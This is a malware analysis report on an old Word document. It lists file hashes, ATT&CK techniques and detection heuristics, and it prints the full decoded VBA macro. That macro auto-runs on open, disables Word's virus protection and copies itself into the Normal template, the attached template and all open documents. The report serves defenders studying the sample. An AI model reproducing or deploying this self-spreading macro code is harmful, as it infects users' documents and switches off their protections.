Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e1c439640d240d61…

MALICIOUS

Office (OLE)

28.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 220a6a34407e67d61a48097db08e7978 SHA-1: 86b4c2b5ae85a04c693a16de1c5344a7bac216c4 SHA-256: e1c439640d240d61f4dc5111be4b2d76fb037b581fd7ff1c6fa0b28d7ef0e1de
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to disable virus protection and copy itself to the normal template and any attached template, suggesting an intent to achieve persistence or spread. The document body contains a lure related to "Virus Infected Bait File", which is likely a pretext to encourage macro execution.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1930 bytes
SHA-256: 6c2de68a68c755cba2b7d7ef3d96999c55ec81c7fff0ae5854b0a530e580e677
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "do3A2N3H2T"
Sub AutoOpen()
    Call Main
End Sub

Sub AutoNew()
    Call Main
End Sub

Sub Main()
    'Not warning Virus Protection
    Application.Options.VirusProtection = False
    
    'Insert before active document if today is 06/01/yy
    If (Month(Date) = 6) And (Day(Date) = 1) Then
        msg = "Today is 06/01/" & Year(Date) & _
            ". So you must love all children around you. Thanks!"
        Application.ActiveDocument.Range(0, 0).InsertBefore msg
        Application.ActiveDocument.Range(0, Len(msg)).Bold = True
        Application.ActiveDocument.Range(0, Len(msg)).Italic = True
        Application.ActiveDocument.Range(0, Len(msg)).Underline = True
    End If
    
    On Error Resume Next
    
   'Normal Template
    If Application.NormalTemplate.FullName <> "" Then
        Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:= _
            Application.NormalTemplate.FullName, Name:="do3A2N3H2T" _
            , Object:=wdOrganizerObjectProjectItems
    End If
    
    'Attached Template
    If ThisDocument.AttachedTemplate.FullName <> "" Then
        Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:= _
            ThisDocument.AttachedTemplate.FullName, Name:="do3A2N3H2T" _
            , Object:=wdOrganizerObjectProjectItems
    End If
    
    'Search on all open documents
    Dim doc As Document
    For Each doc In Application.Documents
        Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:= _
            doc.FullName, Name:="do3A2N3H2T" _
            , Object:=wdOrganizerObjectProjectItems
    Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.